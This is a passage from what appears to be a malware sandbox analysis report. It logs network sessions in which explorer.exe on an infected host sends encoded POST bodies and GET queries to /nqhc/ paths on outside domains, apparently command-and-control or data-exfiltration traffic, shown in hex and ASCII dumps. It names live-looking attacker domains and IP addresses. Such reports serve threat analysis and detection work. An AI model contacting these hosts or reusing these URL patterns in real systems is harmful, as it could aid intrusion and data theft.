35 41 45 55 68 37 68 28 33 74 62 6b 39 6f 49 7a 78 6d 75 79 6f 49 30 34 34 54 2d 77 71 6d 4e 49 61 45 54 53 33 4d 76 71 4c 51 7a 74 51 37 67 61 57 6d 63 4b 4c 6c 74 39 45 63 39 7a 7a 4f 43 4e 79 4d 4c 56 39 4b 47 33 32 31 4b 74 48 75 74 72 38 5a 5a 6d 34 38 42 35 53 75 71 47 65 79 69 4e 30 49 6c 6a 58 68 79 6a 73 34 69 57 64 44 57 36 47 74 41 4a 64 53 39 6b 68 44 46 72 7a 62 44 53 57 38 31 39 49 6a 74 6b 66 48 65 75 6e 62 51 72 71 4b 37 4f 32 52 2d 53 41 53 48 4f 5a 64 41 7e 48 50 4a 79 5f 70 34 63 2e 00 00 00 00 00 00 00 00 Data Ascii: r4txB=S6tbconk9Vd-b5EojS0M3VCBAvilGtk7rOZLRC30YyQjYhfuaZ6LOX5FSDiAdY8_8eesOOD-n5A4kkQ5tlU67yC0B-AB9VVxe1Ss8wre9M~_J5nJs63M4MMAs6TjR_XjIv3jzHii~GjdLzQqDcs_BmUPowJ-J-uC8GN6yb4eTF9VInK-hGWKwzT_1pgl8ryb(65_AsTknsi2v2mrW_s7yWogpViZge4307A1hrsy1QxqUAsL9ke-(mzaFpr3j0PtdyVJlbg4~OUzWaKC8FpSXHUKAB2YLelAWliDlFljk6v19rvtdQfnMeOiINWjM_8ltcGPOLHzPu0rGf00aGajzFbMour4NjE5AEUh7h(3tbk9oIzxmuyoI044T-wqmNIaETS3MvqLQztQ7gaWmcKLlt9Ec9zzOCNyMLV9KG321KtHutr8ZZm48B5SuqGeyiN0IljXhyjs4iWdDW6GtAJdS9khDFrzbDSW819IjtkfHeunbQrqK7O2R-SASHOZdA~HPJy_p4c.
Nov 21, 2022 19:24:37.180026054 CET	1841	IN	HTTP/1.1 404 Not Found Date: Mon, 21 Nov 2022 18:24:37 GMT Content-Type: text/html Content-Length: 153 Connection: close Server: nginx/1.16.1 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 36 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.16.1</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
74	192.168.11.20	49900	3.13.90.76	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Nov 21, 2022 19:24:39.204737902 CET	1846	OUT	POST /nqhc/ HTTP/1.1 Host: www.gumba.shop Connection: close Content-Length: 51815 Cache-Control: no-cache Origin: http://www.gumba.shop User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://www.gumba.shop/nqhc/ Accept-Language: en-US Accept-Encoding: gzip, deflate Data Raw: 72 34 74 78 42 3d 53 36 74 62 63 6f 6e 6b 39 56 64 2d 62 35 45 6f 6a 53 30 4d 33 56 43 42 41 76 69 6c 47 74 6b 37 72 4f 5a 4c 52 43 33 30 59 79 59 6a 5a 55 4c 75 62 36 69 4c 66 6e 35 46 4d 54 69 46 64 59 38 59 38 65 33 6b 4f 4f 50 78 6e 5f 4d 34 6b 7a 30 35 74 58 4d 36 7e 79 43 33 66 4f 41 44 32 31 55 74 65 31 4f 34 38 30 48 4f 39 38 61 5f 62 72 76 4a 7e 5a 50 50 67 4d 4d 43 73 36 54 76 56 5f 58 72 49 76 37 4e 7a 48 75 69 7e 45 58 64 4b 43 73 71 42 72 59 5f 5a 47 55 4d 69 51 4a 37 65 75 76 36 38 47 59 4a 79 62 34 4f 54 45 35 56 49 67 65 2d 67 48 57 4c 7e 7a 54 5f 32 70 67 6d 34 72 75 66 28 36 6b 71 41 73 33 6b 6e 72 6d 32 7e 6d 6d 72 48 71 41 38 6b 6d 6f 6d 7e 6c 6a 66 6b 65 38 5f 30 37 46 47 68 70 41 79 32 67 4e 71 56 7a 30 4c 75 56 65 2d 6a 57 7a 59 4a 35 72 6f 32 45 4f 70 64 78 39 7a 6c 62 42 4e 7e 4e 59 7a 58 37 47 43 35 6e 4e 54 52 6e 55 4d 4d 68 32 4a 41 2d 34 50 57 68 47 66 6c 46 6c 7a 6b 34 44 31 36 62 66 74 63 53 6e 6b 50 4f 4f 6c 45 74 58 37 48 66 77 6a 74 63 71 48 4f 4b 50 6a 50 74 59 72 55 76 30 30 52 41 54 31 39 31 62 50 71 75 72 51 41 44 46 5f 41 45 51 4c 37 6c 6e 6e 74 4c 59 39 70 35 44 78 33 75 79 6e 4f 55 34 38 5a 65 77 6f 69 4e 49 61 45 54 66 47 4d 76 6d 4c 51 43 46 51 35 54 79 57 32 61 43 4c 6e 74 39 34 63 39 7a 59 4f 43 52 5f 4d 4c 64 66 4b 47 47 62 31 50 64 48 33 5a 50 38 59 62 4f 37 33 68 35 74 6b 4b 47 33 32 6a 77 79 49 6c 28 6c 68 79 7a 57 34 52 53 64 43 57 71 47 28 77 4a 65 58 64 6b 71 55 31 72 6c 4d 54 65 30 38 78 6b 39 6a 73 67 70 48 65 47 6e 66 47 43 75 50 5f 4b 41 49 4e 44 70 53 42 53 71 64 57 32 32 4b 4e 4f 59 71 65 71 2d 4d 4b 78 44 31 34 42 65 58 43 4d 37 6a 45 49 41 65 59 51 4f 41 7a 41 53 59 49 68 32 44 72 58 4e 64 56 32 73 49 6c 61 75 6b 73 35 37 5a 78 33 63 53 42 4f 5a 41 62 4c 6b 6d 4d 4a 53 39 5f 34 30 78 4a 54 72 75 79 6d 64 71 78 32 48 4f 43 41 55 55 39 39 7a 57 53 31 2d 6d 49 70 52 39 61 58 5a 44 63 59 4e 6a 72 4b 4d 38 58 6a 68 73 55 6c 67 46 71 30 6b 7a 53 4f 46 47 56 4a 5f 68 6a 59 79 44 53 6f 4d 52 68 36 77 64 53 54 4e 59 47 41 65 79 63 6d 56 56 70 45 5f 6f 36 6b 46 6d 6f 38 43 76 5f 38 30 35 5a 33 33 70 39 6d 68 67 67 49 64 42 6c 41 56 65 62 6e 44 42 77 70 6f 41 46 67 56 58 2d 75 74 33 42 57 4a 5a 2d 6f 6e 6a 64 50 35 38 6e 55 52 79 73 54 53 66 4f 4b 56 36 4a 77 68 67 64 63 70 65 49 46 6b 61 37 34 6a 36 2d 57 5a 64 6f 70 71 28 41 43 4f 53 57 5a 6e 6e 51 51 6e 50 66 46 50 6b 4d 28 51 63 4d 4a 64 57 2d 76 56 74 72 68 31 54 61 6c 51 44 38 72 79 49 32 36 37 33 45 54 6f 28 77 64 59 74 69 46 48 41 79 58 4e 31 6d 71 56 78 6c 69 46 74 71 51 55 4f 31 74 54 78 2d 35 4e 35 73 55 6b 42 4f 62 4e 4f 67 46 33 7e 61 57 61 50 6e 65 58 58 6a 72 6d 70 4c 65 68 4f 49 37 4b 71 58 46 44 39 74 71 6e 74 56 28 74 56 77 56 31 6e 72 28 5a 7e 6e 39 33 73 73 37 45 37 35 6f 56 4b 56 79 59 71 38 30 52 53 52 66 63 67 73 66 44 33 4d 31 44 78 44 34 4a 70 6b 38 37 46 48 52 2d 53 4e 76 2d 37 34 32 41 48 47 4c 62 45 44 34 74 46 4a 4f 47 4a 5a 38 68 48 31 4d 4b 58 52 76 69 30 52 57 31 46 48 54 4e 71 41 53 4d 28 70 58 67 51 36 43 52 45 75 4a 6b 79 38 74 61 30 6f 70 72 71 61 46 5f 5a 44 41 62 7a 59 30 6d 5a 74 77 5f 39 5a 5a 45 4d 51 52 68 51 71 6a 53 37 50 67 64 38 65 58 56 4b 77 78 68 6e 4d 79 4d 4b 75 45 62 4f 78 59 74 33 75 6e 44 72 53 58 6d 55 74 66 41 78 63 4a 32 65 54 68 32 32 6d 53 6f 4c 63 43 39 31 65 57 47 59 63 74 37 72 64 35 61 6d 63 53 6b 65 39 41 74 56 65 31 39 66 44 6d 33 31 34 4d 43 4b 66 6d 5f 48 54 67 65 52 6b 47 52 4f 43 67 6b 59 57 63 4e 56 68 50 72 48 45 73 48 39 49 69 33 79 62 57 47 56 74 4c 4e 54 57 41 68 45 39 70 68 47 67 5a 77 64 6e 77 62 6d 4d 71 6a 41 77 4e 75 35 78 7a 4e 38 2d 28 48 33 62 70 67 51 74 62 37 49 77 65 73 70 4f 4e 31 7e 48 79 56 38 34 68 65 7e 38 31 50 28 61 67 4e 31 38 78 37 4c 6e 65 48 59 2d 4d 36 71 59 7a 77 44 67 51 6f 78 79 39 2d 67 31 42 2d 63 6f 49 68 70 79 34 54 59 42 73 56 66 6e 63 42 77 74 72 77 53 43 6c 6d 72 68 39 64 42 54 31 79 68 74 45 46 47 71 4c 74 61 79 78 35 75 39 54 43 4a 67 4c 79 37 55 31 70 34 58 59 4c 31 6d 31 6f 6c 44 6c 68 36 78 36 2d 56 4f 4a 4d 53 53 5a 51 4f 35 76 72 28 53 43 47 55 68 30 4e 65 6a 47 45 68 31 59 68 72 30 35 78 34 44 59 4e 57 Data Ascii: r4txB=S6tbconk9Vd-b5EojS0M3VCBAvilGtk7rOZLRC30YyYjZULub6iLfn5FMTiFdY8Y8e3kOOPxn_M4kz05tXM6~yC3fOAD21Ute1O480HO98a_brvJ~ZPPgMMCs6TvV_XrIv7NzHui~EXdKCsqBrY_ZGUMiQJ7euv68GYJyb4OTE5VIge-gHWL~zT_2pgm4ruf(6kqAs3knrm2~mmrHqA8kmom~ljfke8_07FGhpAy2gNqVz0LuVe-jWzYJ5ro2EOpdx9zlbBN~NYzX7GC5nNTRnUMMh2JA-4PWhGflFlzk4D16bftcSnkPOOlEtX7HfwjtcqHOKPjPtYrUv00RAT191bPqurQADF_AEQL7lnntLY9p5Dx3uynOU48ZewoiNIaETfGMvmLQCFQ5TyW2aCLnt94c9zYOCR_MLdfKGGb1PdH3ZP8YbO73h5tkKG32jwyIl(lhyzW4RSdCWqG(wJeXdkqU1rlMTe08xk9jsgpHeGnfGCuP_KAINDpSBSqdW22KNOYqeq-MKxD14BeXCM7jEIAeYQOAzASYIh2DrXNdV2sIlauks57Zx3cSBOZAbLkmMJS9_40xJTruymdqx2HOCAUU99zWS1-mIpR9aXZDcYNjrKM8XjhsUlgFq0kzSOFGVJ_hjYyDSoMRh6wdSTNYGAeycmVVpE_o6kFmo8Cv_805Z33p9mhggIdBlAVebnDBwpoAFgVX-ut3BWJZ-onjdP58nURysTSfOKV6JwhgdcpeIFka74j6-WZdopq(ACOSWZnnQQnPfFPkM(QcMJdW-vVtrh1TalQD8ryI2673ETo(wdYtiFHAyXN1mqVxliFtqQUO1tTx-5N5sUkBObNOgF3~aWaPneXXjrmpLehOI7KqXFD9tqntV(tVwV1nr(Z~n93ss7E75oVKVyYq80RSRfcgsfD3M1DxD4Jpk87FHR-SNv-742AHGLbED4tFJOGJZ8hH1MKXRvi0RW1FHTNqASM(pXgQ6CREuJky8ta0oprqaF_ZDAbzY0mZtw_9ZZEMQRhQqjS7Pgd8eXVKwxhnMyMKuEbOxYt3unDrSXmUtfAxcJ2eTh22mSoLcC91eWGYct7rd5amcSke9AtVe19fDm314MCKfm_HTgeRkGROCgkYWcNVhPrHEsH9Ii3ybWGVtLNTWAhE9phGgZwdnwbmMqjAwNu5xzN8-(H3bpgQtb7IwespON1~HyV84he~81P(agN18x7LneHY-M6qYzwDgQoxy9-g1B-coIhpy4TYBsVfncBwtrwSClmrh9dBT1yhtEFGqLtayx5u9TCJgLy7U1p4XYL1m1olDlh6x6-VOJMSSZQO5vr(SCGUh0NejGEh1Yhr05x4DYNWCqmmFUKNtY1tVr4HA9O(nutFLhEgNcCi-pwyqQvVct1xvpcYw~ie8N-CqlYRpAdhsax24h20kmX81Ml68bRXnVjbCa8K4kK7s7Ff0TyTp3hQwiG3kcMYFaLcl(u4R(tgG9AEqJ9pz4ed1xGG2bRvhOK7qJWnwAqJsSQmuwmnl9TvczbkeOnFAPmwPa9otIWDQGT7Xr0nv27m9aTy0fHkh9jvwtmFn4L5mhz1X4BqJ3lbpKWGOJW9YF_~oiB~ZmYy22HuBlzPAVaAGBrRsXlPth9JdGfYNO6LPmlGCvd3NHbD5gVy1dvKT0SYe4bvYebQBz07OVRF3f9rPHzDxBUOvpK6evoeiSXB2OR00wZlrR1UkZmrIr31grp~t(cavGJkSoREUixFZMndUKWeHOS9QzlACUc40rZG5Wwi_mVi939yAykCXvuQNoGn_PxsKU27_5IA6aEu0n9dfBhKoEYM0Y9EdMCoof74scIJwMxLIm3eZO2G8i8I0v1KJySb2IydbH2uR94JdcK75nToPgzfYH7yjDxOo83UeiP~l8I5jln59jvSLkuvyRxKKzEo9jGjtExRuXKGtD01mx_3ld190Q5d41-u9SEhUuxWXfng6SmQVGw9WjSBj0_2AHOG5XbgNX7V506FfQxrZZlkMYqjzzseDfIS-WLmRFRudhEKL~2PtP2Z4egUapnjyZJWgREZtpaTzWlSPaJn65BCmt6~fpI(PJVLYQk8bk_jKBk5R9lu10ss5ZHRWfOpxFMiLdaxrbOU0QU3WZ_ufTbe2jVgubXtvvVbwn2UDAHjcL75Bwyf2nNqfmgK3wd~nhv127yNZF7i0e2et63AUfWpeXzh-QN~wlHWp(7ZlQnFBglPV7akZwDZbsj(PrNJhefVaK_dG(3l_nHN9NC2CQhTihBJRQOofgbhE19IpPoFJu_ERRR2FNyt_s3WBW6ho1A1vr9Q3Y0CEQnGWKJhUofNUzV83c97r1CxvcgrZjDk_gY4eSqWkrps2lwFmMKyzqGmU6wYudnj6kUwhWarCVTQnlUSCFJ24k_kBbHw8D8(vBwcDc57iTgF_5cAx8ttTRN9T~fPUSat15cXG2y5b8GYguZl9vrCoQuI-xjyadelBLNgj~TQNKL6isJcPW3~vS0WOzBhmRXCbN_pp63C_KhboHvysZdZuj-Shsw1cMQDOXwP7NRN6ye0rgXOwKp599kBs537t41hTNu1ZmMOzjeTefjwNJ490S2mN6l6i2u9c0BuNO_fodkpgs6QdAa73y7EPCalTTfAggt9GwcVH~g9vJprlDknlutHIzWG4pwJegSjit-CgRcmW~h7EJcnYQaKSCWafqjsIA0Zs(g9i5vo_4aCF6YpJGGuLsE9g7MD3VF0EsYBNa5LZdD(FCLivb5jdpUDawLI3tqDe2EE_O8mDcTTlkqT_AOANg0XQthHwdEXMZI5VIpL28SmPpM7VYHTY4Y5bKaoshhwYWXaH6a7lxKgMt54CuXJy(_kTYUCvL0PC8t7dF0JOGQUhtLMEpWV77T1MjUC8~i~CiIAdAyhjSOgOSrBMbwtB(FDrwoAm93BL7g8JzVVbuZ9GWU6wS3SrvfSmpk9PQ353yL2sv2A6xwI_vhDSHbhMza0wGI0FNrfmrPP4OrVNPT1-KhYeTgg_IlufiJa-HCQ8PXRiOaLYBhA3OeYQpsdzxmUOi5wvPs3ZLdMro1mulZuOA17u4bW89dcMczapLUbqWINUWj2NYB9-utRZOAOWtxB36Zf3DMiMIjFLmiu1bQMbQo0-a-jWtzg2tgbHiLH2rNYAtvm873CaPpI-AAzcus0MrNDqmYllSapxG28298(AUmrxw9qP6BaIEXP8bpC3wXGA7phJrLlTSMdZacMJLgR8qMU9Hzy_lHSeJNO87_S9nXZB3W87VVRzryrS5YDo0mJwkr(Lh-8p4VO6MIHQdt8IlzcQqCgKy-S0(ichG9sSs36l4eh6YtWkmUBvHjj-DfjVUFnc19hgAqKn3xGg2UrfTcxFvFLrsVck~wcihjPhglr0s4xh0nn3MZ29mxa6RHLAIWlFhrgbxWSYoAe0psNBwcksLxug9m5KN0msuUc7YMSTdDXMdyGzriUjwXJ3(Y2zkBTsmmJAQWv9r6l1ihE2EbmMk74sw8VIkvR9wiCW7FuZlp9DMpGj(URL0BP24alRKIzMv5tVpWFXOtGQV00tjPjgVXU0qLUT4XXUXOfxZtMY2rztLKcHFiaNtAWnt0~tqK0GnLTheV~i55KOolbZuJLqyrqG(qRylnJxMrLBedu2oeaF0cbc2VrxpCjww6NGSZNbMh8zBkGzUFiKRzvoFJR_8WXMwbwkc9JAV-Ppft0VdCOwEHkkztDqXpX8dLNJOBWgkVFIQNaTuwE_yoii91lWMzsC2yJwACm4C6EqnJKeNwcd4A1JVkaOer4ca5NkkgM_nJgC3OVL9SvfaFrlCL6fiagmGWQ_3CQmPa(vW1BGN3eMISQpJzoV8AIdw3vqBqXriXJlRKMBMNeVRbSx1H0nF2yUiNQwLR3NbYKXcFWtZMWUs3UZsOP0Kb2Q0rUOZmDOoXJh0wwr7GrB~uBtnJiGzwwbzw~y0L8WLE4NyZvOSLwyudXaBu1Xr-FK5NYNuUF5wQQuZ36gHaMmBo1mpGR65P3TGA5vJzJtUIZ3NgxLHq2xrHSeJ-rhUofzyunaZiU_1Mp7e_h0gl2gG0xaTT
Nov 21, 2022 19:24:39.204828024 CET	1854	OUT	Data Raw: 4c 77 38 77 44 76 53 30 5a 70 45 47 33 48 58 74 32 4c 66 46 47 38 50 59 64 5a 76 6d 69 65 72 37 42 41 78 64 36 59 58 33 4e 67 63 6c 59 46 36 79 67 4d 32 59 76 72 56 74 66 34 4e 50 73 62 57 36 49 4f 50 46 78 37 30 73 76 6e 54 32 6b 45 38 46 77 58 Data Ascii: Lw8wDvS0ZpEG3HXt2LfFG8PYdZvmier7BAxd6YX3NgclYF6ygM2YvrVtf4NPsbW6IOPFx70svnT2kE8FwXbmDxD74MmNSBNDIUKdC8spu2mIWHa5pqtNeAfEHli0mdVVeNdf6aI6DC2s1osQcdIVyf8V2b9q4qvWpJ4GPaPUgYzzxc(oQUW1znso0jrkW5zNKmmg6JmARpQEnl~Cnu3dH4It~e05kDw-AZe4V4GdNODF5RyCS8Y
Nov 21, 2022 19:24:39.351722956 CET	1857	OUT	Data Raw: 59 64 79 4c 7e 38 48 77 66 47 79 63 6b 57 6a 35 7a 57 75 72 34 62 6e 6c 47 45 47 78 64 4f 35 43 78 6f 72 62 5a 63 34 4d 61 6a 50 54 6b 54 38 42 65 33 78 68 41 35 64 79 72 79 77 54 28 4c 5a 36 6e 59 48 34 36 61 59 49 70 45 7a 4a 6f 4b 6d 65 78 79 Data Ascii: YdyL~8HwfGyckWj5zWur4bnlGEGxdO5CxorbZc4MajPTkT8Be3xhA5dyrywT(LZ6nYH46aYIpEzJoKmexy7NWUJKoCeAWaf8BpR4WsZ-iUxYtbufmwoq0WA2IuRyfjtgYrzJmIKZBTYlv0C7cLINUWWYPKOhcqLOMcSRJ2scrBrsoVIkbPNR93k3WuoZF4HAWFfvzy6XfB~b99uwByn_w-PZgbzxi03eOF2h1H3eYgC7z8Uk2Ek
Nov 21, 2022 19:24:39.351834059 CET	1861	OUT	Data Raw: 6c 77 79 63 77 77 49 31 66 50 32 56 30 53 4d 56 45 52 28 45 72 34 64 55 70 79 45 4c 6b 49 6b 32 54 4a 63 55 48 69 4a 41 70 75 55 50 7a 76 76 77 4b 31 53 4d 6c 49 7e 4a 6c 46 52 78 48 31 35 59 4a 52 7e 41 48 64 56 33 74 6a 47 66 52 63 54 35 49 55 Data Ascii: lwycwwI1fP2V0SMVER(Er4dUpyELkIk2TJcUHiJApuUPzvvwK1SMlI~JlFRxH15YJR~AHdV3tjGfRcT5IU39ORLa8L0Jwk~Nncrv5oQpChc7eeYbeyfOo8JGv_Cazo9ML4PQK5XJFGN3JY(sc16kx5AxF6C0JDSIctjba2gsrTRhqWo6ya7fot7NAISEg3~iJbcxiTPMATod9etoCqn1TNrRwfs85bPbo4vV77viVSx28MsNcNp
Nov 21, 2022 19:24:39.351898909 CET	1865	OUT	Data Raw: 45 38 7a 52 41 59 50 58 6e 6a 59 4b 4e 65 7e 4c 64 6b 79 76 62 56 4f 4a 54 54 73 35 57 59 69 4a 70 58 45 4b 54 4a 4f 68 33 38 6b 43 52 36 56 41 4b 55 58 4d 66 6c 59 46 4c 48 64 6f 71 50 73 63 56 48 69 6c 77 48 61 58 37 39 41 58 67 6a 63 48 57 4c Data Ascii: E8zRAYPXnjYKNe~LdkyvbVOJTTs5WYiJpXEKTJOh38kCR6VAKUXMflYFLHdoqPscVHilwHaX79AXgjcHWL4q1J(EHqBk55Mc7pYdKXCp~hBWUL09qASp487AhkhC10i9x86OF8k0f9o5iPnNeD~HFsiclr(WrdiPLw2gvkyLTFpcVu1DTafnjjtH~QnXtHVU~Mz2gaR72vwKAhSoQjJT7T4Tg3l-5hacrzkEnjZd7FusrEKRHg6
Nov 21, 2022 19:24:39.352123022 CET	1872	OUT	Data Raw: 73 6b 64 5a 73 49 4e 65 4e 6f 35 49 6e 74 50 5a 68 6d 34 43 62 6a 56 45 5a 59 47 46 65 51 47 70 53 67 28 30 6b 4f 7a 41 63 71 7e 68 55 62 72 76 63 32 67 77 6b 71 58 67 73 34 47 37 6f 5f 72 76 45 55 4b 69 69 51 49 7a 55 32 75 63 57 32 39 70 39 79 Data Ascii: skdZsINeNo5IntPZhm4CbjVEZYGFeQGpSg(0kOzAcq~hUbrvc2gwkqXgs4G7o_rvEUKiiQIzU2ucW29p9yD8GJRsgFzgaoINAj2ixuIGfOdJaL(ziTn2pIMEfdxaW6lL~FPY1yFTNGV6zgNbwhERe-1ZILi-DPnTDKLMW6oZYxVgC3xA0lE5fbOoeFu91nUaTLv3wF9emM49XFeaL6rL4xIdzt3ThxJA3dlFvHM-4pE_iw7MfIl
Nov 21, 2022 19:24:39.352221966 CET	1873	IN	HTTP/1.1 404 Not Found Date: Mon, 21 Nov 2022 18:24:39 GMT Content-Type: text/html Content-Length: 153 Connection: close Server: nginx/1.16.1 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 36 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.16.1</center></body></html>
Nov 21, 2022 19:24:39.352236032 CET	1880	OUT	Data Raw: 43 30 6d 65 78 30 70 48 35 4b 36 6c 56 4b 39 6e 46 4d 39 67 41 4c 6d 32 7a 68 6e 37 53 6f 4b 71 34 6e 4c 76 65 51 6c 62 75 72 6e 71 62 5a 6a 51 7e 38 72 6a 4c 79 76 56 39 42 79 70 6f 5a 7e 62 7e 45 75 38 51 5f 30 63 71 48 45 79 66 63 64 43 47 63 Data Ascii: C0mex0pH5K6lVK9nFM9gALm2zhn7SoKq4nLveQlburnqbZjQ~8rjLyvV9BypoZ~b~Eu8Q_0cqHEyfcdCGcKxEicJd4rQ1jwz43bGsZsPM2ubRUYN7240SMPrVpdd~Zv9mkb3vNKx79JHS36zx5Em9oewRvFjAGpVnT0j0-3_QVKZ9hdEt3~ofOE2Q6CQQsKv4OOiA2aPb68UUfmmt1L7LWeIjwzEFP8ZKKOkxwNuDdaNESDYnTV
Nov 21, 2022 19:24:39.499022961 CET	1887	OUT	Data Raw: 36 6f 63 77 37 65 79 68 53 6b 31 6d 71 70 7a 6b 78 6c 77 7a 79 5f 61 52 32 33 5a 65 47 33 49 31 65 75 45 76 52 6e 45 76 6b 6e 62 64 4b 59 46 44 62 57 35 55 6d 32 62 35 46 62 43 67 79 63 6e 61 54 52 5a 74 74 4a 79 47 49 48 74 78 45 74 45 4d 4c 66 Data Ascii: 6ocw7eyhSk1mqpzkxlwzy_aR23ZeG3I1euEvRnEvknbdKYFDbW5Um2b5FbCgycnaTRZttJyGIHtxEtEMLf6xEOtz(MmrrnC1o34zWIK_u4lm71wr8SLtsjhiyL~y(d8RHeZnvLF2LjDaJIRWVOK8rldgeDYY3cyry_zstJiIJfDS4D5YprFOGKD0ZfqRE51eeyMmNit46dWr55Qq2RMf3SvD6yEqsWIPMfI7p8ZAA9XcFAXqWZ8
Nov 21, 2022 19:24:39.499121904 CET	1894	OUT	Data Raw: 54 6a 54 34 66 6c 50 58 34 48 76 38 61 34 6c 2d 52 47 37 4a 77 70 4f 78 72 34 42 42 74 6a 69 70 44 7a 71 34 54 41 6a 48 32 42 45 6e 68 38 68 45 4f 33 36 55 48 63 54 4f 57 4a 77 51 6a 36 71 79 30 73 7a 4a 61 62 33 35 76 66 32 6c 74 4e 42 44 44 65 Data Ascii: TjT4flPX4Hv8a4l-RG7JwpOxr4BBtjipDzq4TAjH2BEnh8hEO36UHcTOWJwQj6qy0szJab35vf2ltNBDDe7B2K7c(o4Q7JaK3xdA3nc954~Lvqf0j4WuBOGi46CVsjGMfLs06xrtC19sY5Y18d4omHsYNEv1uA7FhI4jLcG1Lh9PubYHNS0qIxmuZXlFmvubkHto0-92kX7ekMKipGOivem9oYeXWMuMkU1CCYhzHXNfXn4IRyx

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
75	192.168.11.20	49901	3.13.90.76	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Nov 21, 2022 19:24:41.375164986 CET	1895	OUT	GET /nqhc/?r4txB=f4F7ffrY91VPAaIYxk1J2He+DN38Gtglpvx7SxOWIh8xSFztRImtD0B4ZlSdLvIOg82xMJ3Gh/Bbh1FonXE4rjX3AOld5zRxFA==&1b=S8jD HTTP/1.1 Host: www.gumba.shop Connection: close Data Raw: 00 00 00 00 00 00 00 Data Ascii:
Nov 21, 2022 19:24:41.522042036 CET	1895	IN	HTTP/1.1 404 Not Found Date: Mon, 21 Nov 2022 18:24:41 GMT Content-Type: text/html Content-Length: 153 Connection: close Server: nginx/1.20.1 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 30 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.20.1</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
76	192.168.11.20	49902	2.57.90.16	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Nov 21, 2022 19:24:46.554383993 CET	1897	OUT	POST /nqhc/ HTTP/1.1 Host: www.botbillionsblaze.website Connection: close Content-Length: 187 Cache-Control: no-cache Origin: http://www.botbillionsblaze.website User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://www.botbillionsblaze.website/nqhc/ Accept-Language: en-US Accept-Encoding: gzip, deflate Data Raw: 72 34 74 78 42 3d 45 71 56 72 78 4d 52 48 4c 42 43 77 74 49 62 4a 66 41 68 52 71 43 52 4d 49 47 52 69 76 5a 75 50 35 61 70 4c 47 30 7e 49 48 47 4b 36 61 36 42 64 71 72 46 39 31 53 53 38 65 43 45 79 73 31 59 37 52 49 59 35 7e 43 68 30 54 62 64 6e 6b 6b 6b 59 32 70 72 56 61 76 30 6a 70 63 47 44 64 53 51 53 43 6b 32 56 43 43 61 52 65 39 5a 68 54 50 4b 4e 42 78 34 51 6e 78 6d 75 36 6a 62 30 79 6a 6b 49 61 47 4d 44 65 34 6b 39 61 47 50 67 59 55 4f 4b 68 79 4e 54 70 53 52 54 33 46 4b 6c 39 69 34 52 70 58 62 33 68 38 4b 52 5a 55 52 48 67 62 52 4e 56 77 29 2e 00 00 00 00 00 00 00 00 Data Ascii: r4txB=EqVrxMRHLBCwtIbJfAhRqCRMIGRivZuP5apLG0~IHGK6a6BdqrF91SS8eCEys1Y7RIY5~Ch0TbdnkkkY2prVav0jpcGDdSQSCk2VCCaRe9ZhTPKNBx4Qnxmu6jb0yjkIaGMDe4k9aGPgYUOKhyNTpSRT3FKl9i4RpXb3h8KRZURHgbRNVw).
